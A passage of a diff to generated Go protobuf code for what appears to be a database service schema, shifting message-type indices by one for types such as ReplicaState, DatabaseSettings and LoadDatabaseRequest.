ms.StoreMessageInfo(mi) } @@ -4462,7 +4530,7 @@ func (x *ExportTxRequest) String() string { func (*ExportTxRequest) ProtoMessage() {} func (x *ExportTxRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[61] + mi := &file_schema_proto_msgTypes[62] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4475,7 +4543,7 @@ func (x *ExportTxRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ExportTxRequest.ProtoReflect.Descriptor instead. func (*ExportTxRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{61} + return file_schema_proto_rawDescGZIP(), []int{62} } func (x *ExportTxRequest) GetTx() uint64 { @@ -4514,7 +4582,7 @@ type ReplicaState struct { func (x *ReplicaState) Reset() { *x = ReplicaState{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[62] + mi := &file_schema_proto_msgTypes[63] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4527,7 +4595,7 @@ func (x *ReplicaState) String() string { func (*ReplicaState) ProtoMessage() {} func (x *ReplicaState) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[62] + mi := &file_schema_proto_msgTypes[63] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4540,7 +4608,7 @@ func (x *ReplicaState) ProtoReflect() protoreflect.Message { // Deprecated: Use ReplicaState.ProtoReflect.Descriptor instead. func (*ReplicaState) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{62} + return file_schema_proto_rawDescGZIP(), []int{63} } func (x *ReplicaState) GetUUID() string { @@ -4590,7 +4658,7 @@ type Database struct { func (x *Database) Reset() { *x = Database{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[63] + mi := &file_schema_proto_msgTypes[64] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4603,7 +4671,7 @@ func (x *Database) String() string { func (*Database) ProtoMessage() {} func (x *Database) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[63] + mi := &file_schema_proto_msgTypes[64] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4616,7 +4684,7 @@ func (x *Database) ProtoReflect() protoreflect.Message { // Deprecated: Use Database.ProtoReflect.Descriptor instead. func (*Database) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{63} + return file_schema_proto_rawDescGZIP(), []int{64} } func (x *Database) GetDatabaseName() string { @@ -4660,7 +4728,7 @@ type DatabaseSettings struct { func (x *DatabaseSettings) Reset() { *x = DatabaseSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[64] + mi := &file_schema_proto_msgTypes[65] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4673,7 +4741,7 @@ func (x *DatabaseSettings) String() string { func (*DatabaseSettings) ProtoMessage() {} func (x *DatabaseSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[64] + mi := &file_schema_proto_msgTypes[65] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4686,7 +4754,7 @@ func (x *DatabaseSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseSettings.ProtoReflect.Descriptor instead. func (*DatabaseSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{64} + return file_schema_proto_rawDescGZIP(), []int{65} } func (x *DatabaseSettings) GetDatabaseName() string { @@ -4789,7 +4857,7 @@ type CreateDatabaseRequest struct { func (x *CreateDatabaseRequest) Reset() { *x = CreateDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[65] + mi := &file_schema_proto_msgTypes[66] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4802,7 +4870,7 @@ func (x *CreateDatabaseRequest) String() string { func (*CreateDatabaseRequest) ProtoMessage() {} func (x *CreateDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[65] + mi := &file_schema_proto_msgTypes[66] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4815,7 +4883,7 @@ func (x *CreateDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateDatabaseRequest.ProtoReflect.Descriptor instead. func (*CreateDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{65} + return file_schema_proto_rawDescGZIP(), []int{66} } func (x *CreateDatabaseRequest) GetName() string { @@ -4855,7 +4923,7 @@ type CreateDatabaseResponse struct { func (x *CreateDatabaseResponse) Reset() { *x = CreateDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[66] + mi := &file_schema_proto_msgTypes[67] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4868,7 +4936,7 @@ func (x *CreateDatabaseResponse) String() string { func (*CreateDatabaseResponse) ProtoMessage() {} func (x *CreateDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[66] + mi := &file_schema_proto_msgTypes[67] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4881,7 +4949,7 @@ func (x *CreateDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateDatabaseResponse.ProtoReflect.Descriptor instead. func (*CreateDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{66} + return file_schema_proto_rawDescGZIP(), []int{67} } func (x *CreateDatabaseResponse) GetName() string { @@ -4919,7 +4987,7 @@ type UpdateDatabaseRequest struct { func (x *UpdateDatabaseRequest) Reset() { *x = UpdateDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[67] + mi := &file_schema_proto_msgTypes[68] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4932,7 +5000,7 @@ func (x *UpdateDatabaseRequest) String() string { func (*UpdateDatabaseRequest) ProtoMessage() {} func (x *UpdateDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[67] + mi := &file_schema_proto_msgTypes[68] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4945,7 +5013,7 @@ func (x *UpdateDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use UpdateDatabaseRequest.ProtoReflect.Descriptor instead. func (*UpdateDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{67} + return file_schema_proto_rawDescGZIP(), []int{68} } func (x *UpdateDatabaseRequest) GetDatabase() string { @@ -4977,7 +5045,7 @@ type UpdateDatabaseResponse struct { func (x *UpdateDatabaseResponse) Reset() { *x = UpdateDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[68] + mi := &file_schema_proto_msgTypes[69] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4990,7 +5058,7 @@ func (x *UpdateDatabaseResponse) String() string { func (*UpdateDatabaseResponse) ProtoMessage() {} func (x *UpdateDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[68] + mi := &file_schema_proto_msgTypes[69] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5003,7 +5071,7 @@ func (x *UpdateDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use UpdateDatabaseResponse.ProtoReflect.Descriptor instead. func (*UpdateDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{68} + return file_schema_proto_rawDescGZIP(), []int{69} } func (x *UpdateDatabaseResponse) GetDatabase() string { @@ -5029,7 +5097,7 @@ type DatabaseSettingsRequest struct { func (x *DatabaseSettingsRequest) Reset() { *x = DatabaseSettingsRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[69] + mi := &file_schema_proto_msgTypes[70] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5042,7 +5110,7 @@ func (x *DatabaseSettingsRequest) String() string { func (*DatabaseSettingsRequest) ProtoMessage() {} func (x *DatabaseSettingsRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[69] + mi := &file_schema_proto_msgTypes[70] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5055,7 +5123,7 @@ func (x *DatabaseSettingsRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseSettingsRequest.ProtoReflect.Descriptor instead. func (*DatabaseSettingsRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{69} + return file_schema_proto_rawDescGZIP(), []int{70} } type DatabaseSettingsResponse struct { @@ -5072,7 +5140,7 @@ type DatabaseSettingsResponse struct { func (x *DatabaseSettingsResponse) Reset() { *x = DatabaseSettingsResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[70] + mi := &file_schema_proto_msgTypes[71] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5085,7 +5153,7 @@ func (x *DatabaseSettingsResponse) String() string { func (*DatabaseSettingsResponse) ProtoMessage() {} func (x *DatabaseSettingsResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[70] + mi := &file_schema_proto_msgTypes[71] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5098,7 +5166,7 @@ func (x *DatabaseSettingsResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseSettingsResponse.ProtoReflect.Descriptor instead. func (*DatabaseSettingsResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{70} + return file_schema_proto_rawDescGZIP(), []int{71} } func (x *DatabaseSettingsResponse) GetDatabase() string { @@ -5126,7 +5194,7 @@ type NullableUint32 struct { func (x *NullableUint32) Reset() { *x = NullableUint32{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[71] + mi := &file_schema_proto_msgTypes[72] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5139,7 +5207,7 @@ func (x *NullableUint32) String() string { func (*NullableUint32) ProtoMessage() {} func (x *NullableUint32) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[71] + mi := &file_schema_proto_msgTypes[72] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5152,7 +5220,7 @@ func (x *NullableUint32) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableUint32.ProtoReflect.Descriptor instead. func (*NullableUint32) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{71} + return file_schema_proto_rawDescGZIP(), []int{72} } func (x *NullableUint32) GetValue() uint32 { @@ -5173,7 +5241,7 @@ type NullableUint64 struct { func (x *NullableUint64) Reset() { *x = NullableUint64{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[72] + mi := &file_schema_proto_msgTypes[73] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5186,7 +5254,7 @@ func (x *NullableUint64) String() string { func (*NullableUint64) ProtoMessage() {} func (x *NullableUint64) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[72] + mi := &file_schema_proto_msgTypes[73] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5199,7 +5267,7 @@ func (x *NullableUint64) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableUint64.ProtoReflect.Descriptor instead. func (*NullableUint64) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{72} + return file_schema_proto_rawDescGZIP(), []int{73} } func (x *NullableUint64) GetValue() uint64 { @@ -5220,7 +5288,7 @@ type NullableFloat struct { func (x *NullableFloat) Reset() { *x = NullableFloat{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[73] + mi := &file_schema_proto_msgTypes[74] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5233,7 +5301,7 @@ func (x *NullableFloat) String() string { func (*NullableFloat) ProtoMessage() {} func (x *NullableFloat) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[73] + mi := &file_schema_proto_msgTypes[74] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5246,7 +5314,7 @@ func (x *NullableFloat) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableFloat.ProtoReflect.Descriptor instead. func (*NullableFloat) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{73} + return file_schema_proto_rawDescGZIP(), []int{74} } func (x *NullableFloat) GetValue() float32 { @@ -5267,7 +5335,7 @@ type NullableBool struct { func (x *NullableBool) Reset() { *x = NullableBool{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[74] + mi := &file_schema_proto_msgTypes[75] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5280,7 +5348,7 @@ func (x *NullableBool) String() string { func (*NullableBool) ProtoMessage() {} func (x *NullableBool) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[74] + mi := &file_schema_proto_msgTypes[75] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5293,7 +5361,7 @@ func (x *NullableBool) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableBool.ProtoReflect.Descriptor instead. func (*NullableBool) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{74} + return file_schema_proto_rawDescGZIP(), []int{75} } func (x *NullableBool) GetValue() bool { @@ -5314,7 +5382,7 @@ type NullableString struct { func (x *NullableString) Reset() { *x = NullableString{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[75] + mi := &file_schema_proto_msgTypes[76] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5327,7 +5395,7 @@ func (x *NullableString) String() string { func (*NullableString) ProtoMessage() {} func (x *NullableString) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[75] + mi := &file_schema_proto_msgTypes[76] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5340,7 +5408,7 @@ func (x *NullableString) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableString.ProtoReflect.Descriptor instead. func (*NullableString) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{75} + return file_schema_proto_rawDescGZIP(), []int{76} } func (x *NullableString) GetValue() string { @@ -5361,7 +5429,7 @@ type NullableMilliseconds struct { func (x *NullableMilliseconds) Reset() { *x = NullableMilliseconds{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[76] + mi := &file_schema_proto_msgTypes[77] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5374,7 +5442,7 @@ func (x *NullableMilliseconds) String() string { func (*NullableMilliseconds) ProtoMessage() {} func (x *NullableMilliseconds) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[76] + mi := &file_schema_proto_msgTypes[77] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5387,7 +5455,7 @@ func (x *NullableMilliseconds) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableMilliseconds.ProtoReflect.Descriptor instead. func (*NullableMilliseconds) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{76} + return file_schema_proto_rawDescGZIP(), []int{77} } func (x *NullableMilliseconds) GetValue() int64 { @@ -5445,7 +5513,7 @@ type DatabaseNullableSettings struct { func (x *DatabaseNullableSettings) Reset() { *x = DatabaseNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[77] + mi := &file_schema_proto_msgTypes[78] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5458,7 +5526,7 @@ func (x *DatabaseNullableSettings) String() string { func (*DatabaseNullableSettings) ProtoMessage() {} func (x *DatabaseNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[77] + mi := &file_schema_proto_msgTypes[78] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5471,7 +5539,7 @@ func (x *DatabaseNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseNullableSettings.ProtoReflect.Descriptor instead. func (*DatabaseNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{77} + return file_schema_proto_rawDescGZIP(), []int{78} } func (x *DatabaseNullableSettings) GetReplicationSettings() *ReplicationNullableSettings { @@ -5639,7 +5707,7 @@ type ReplicationNullableSettings struct { func (x *ReplicationNullableSettings) Reset() { *x = ReplicationNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[78] + mi := &file_schema_proto_msgTypes[79] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5652,7 +5720,7 @@ func (x *ReplicationNullableSettings) String() string { func (*ReplicationNullableSettings) ProtoMessage() {} func (x *ReplicationNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[78] + mi := &file_schema_proto_msgTypes[79] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5665,7 +5733,7 @@ func (x *ReplicationNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use ReplicationNullableSettings.ProtoReflect.Descriptor instead. func (*ReplicationNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{78} + return file_schema_proto_rawDescGZIP(), []int{79} } func (x *ReplicationNullableSettings) GetReplica() *NullableBool { @@ -5781,7 +5849,7 @@ type IndexNullableSettings struct { func (x *IndexNullableSettings) Reset() { *x = IndexNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[79] + mi := &file_schema_proto_msgTypes[80] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5794,7 +5862,7 @@ func (x *IndexNullableSettings) String() string { func (*IndexNullableSettings) ProtoMessage() {} func (x *IndexNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[79] + mi := &file_schema_proto_msgTypes[80] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5807,7 +5875,7 @@ func (x *IndexNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use IndexNullableSettings.ProtoReflect.Descriptor instead. func (*IndexNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{79} + return file_schema_proto_rawDescGZIP(), []int{80} } func (x *IndexNullableSettings) GetFlushThreshold() *NullableUint32 { @@ -5915,7 +5983,7 @@ type AHTNullableSettings struct { func (x *AHTNullableSettings) Reset() { *x = AHTNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[80] + mi := &file_schema_proto_msgTypes[81] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5928,7 +5996,7 @@ func (x *AHTNullableSettings) String() string { func (*AHTNullableSettings) ProtoMessage() {} func (x *AHTNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[80] + mi := &file_schema_proto_msgTypes[81] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5941,7 +6009,7 @@ func (x *AHTNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use AHTNullableSettings.ProtoReflect.Descriptor instead. func (*AHTNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{80} + return file_schema_proto_rawDescGZIP(), []int{81} } func (x *AHTNullableSettings) GetSyncThreshold() *NullableUint32 { @@ -5969,7 +6037,7 @@ type LoadDatabaseRequest struct { func (x *LoadDatabaseRequest) Reset() { *x = LoadDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[81] + mi := &file_schema_proto_msgTypes[82] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5982,7 +6050,7 @@ func (x *LoadDatabaseRequest) String() string { func (*LoadDatabaseRequest) ProtoMessage() {} func (x *LoadDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[81] + mi := &file_schema_proto_msgTypes[82] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5995,7 +6063,7 @@ func (x *LoadDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use LoadDatabaseRequest.ProtoReflect.Descriptor instead. func (*LoadDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{81} + return file_schema_proto_rawDescGZIP(), []int{82} } func (x *LoadDatabaseRequest) GetDatabase() string { @@ -6017,7 +6085,7 @@ type LoadDatabaseResponse struct { func (x *LoadDatabaseResponse) Reset() { *x = LoadDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[82] + mi := &file_schema_proto_msgTypes[83] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6030,7 +6098,7 @@ func (x *LoadDatabaseResponse) String() string { func (*LoadDatabaseResponse) ProtoMessage() {} func (x *LoadDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[82] + mi := &file_schema_proto_msgTypes[83] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6043,7 +6111,7 @@ func (x *LoadDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use LoadDatabaseResponse.ProtoReflect.Descriptor instead. func (*LoadDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{82} + return file_schema_proto_rawDescGZIP(), []int{83} } func (x *LoadDatabaseResponse) GetDatabase() string { @@ -6065,7 +6133,7 @@ type UnloadDatabaseRequest struct { func (x *UnloadDatabaseRequest) Reset() { *x = UnloadDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[83] + mi := &file_schema_proto_msgTypes[84] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6078,7 +6146,7 @@ func (x *UnloadDatabaseRequest) String() string { func (*UnloadDatabaseRequest) ProtoMessage() {} func (x *UnloadDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[83] + mi := &file_schema_proto_msgTypes[84] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6091,7 +6159,7 @@ func (x *UnloadDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use UnloadDatabaseRequest.ProtoReflect.Descriptor instead. func (*UnloadDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{83} + return file_schema_proto_rawDescGZIP(), []int{84} } func (x *UnloadDatabaseRequest) GetDatabase() string { @@ -6113,7 +6181,7 @@ type UnloadDatabaseResponse struct { func (x *UnloadDatabaseResponse) Reset() { *x = UnloadDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[84] + mi := &file_schema_proto_msgTypes[85] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6126,7 +6194,7 @@ func (x *UnloadDatabaseResponse) String() string { func (*UnloadDatabaseResponse) ProtoMessage() {} func (x *UnloadDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[84] + mi := &file_schema_proto_msgTypes[85] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6139,7 +6207,7 @@ func (x *UnloadDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use UnloadDatabaseResponse.ProtoReflect.Descriptor instead. func (*UnloadDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{84} + return file_schema_proto_rawDescGZIP(), []int{85} } func (x *UnloadDatabaseResponse) GetDatabase() string { @@ -6161,7 +6229,7 @@ type DeleteDatabaseRequest struct { func (x *DeleteDatabaseRequest) Reset() { *x = DeleteDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[85] + mi := &file_schema_proto_msgTypes[86] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6174,7 +6242,7 @@ func (x *DeleteDatabaseRequest) String() string { func (*DeleteDatabaseRequest) ProtoMessage() {} func (x *DeleteDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[85] + mi := &file_schema_proto_msgTypes[86] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6187,7 +6255,7 @@ func (x *DeleteDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteDatabaseRequest.ProtoReflect.Descriptor instead. func (*DeleteDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{85} + return file_schema_proto_rawDescGZIP(), []int{86} } func (x *DeleteDatabaseRequest) GetDatabase() string { @@ -6209,7 +6277,7 @@ type DeleteDatabaseResponse struct { func (x *DeleteDatabaseResponse) Reset() { *x = DeleteDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[86] + mi := &file_schema_proto_msgTypes[87] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6222,7 +6290,7 @@ func (x *DeleteDatabaseResponse) String() string { func (*DeleteDatabaseResponse) ProtoMessage() {} func (x *DeleteDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[86] + mi := &file_schema_proto_msgTypes[87] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6235,7 +6303,7 @@ func (x *DeleteDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteDatabaseResponse.ProtoReflect.Descriptor instead. func (*DeleteDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{86} + return file_schema_proto_rawDescGZIP(), []int{87} } func (x *DeleteDatabaseResponse) GetDatabase() string { @@ -6259,7 +6327,7 @@ type FlushIndexRequest struct { func (x *FlushIndexRequest) Reset() { *x = FlushIndexRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[87] + mi := &file_schema_proto_msgTypes[88] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6272,7 +6340,7 @@ func (x *FlushIndexRequest) String() string { func (*FlushIndexRequest) ProtoMessage() {} func (x *FlushIndexRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[87] + mi := &file_schema_proto_msgTypes[88] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == 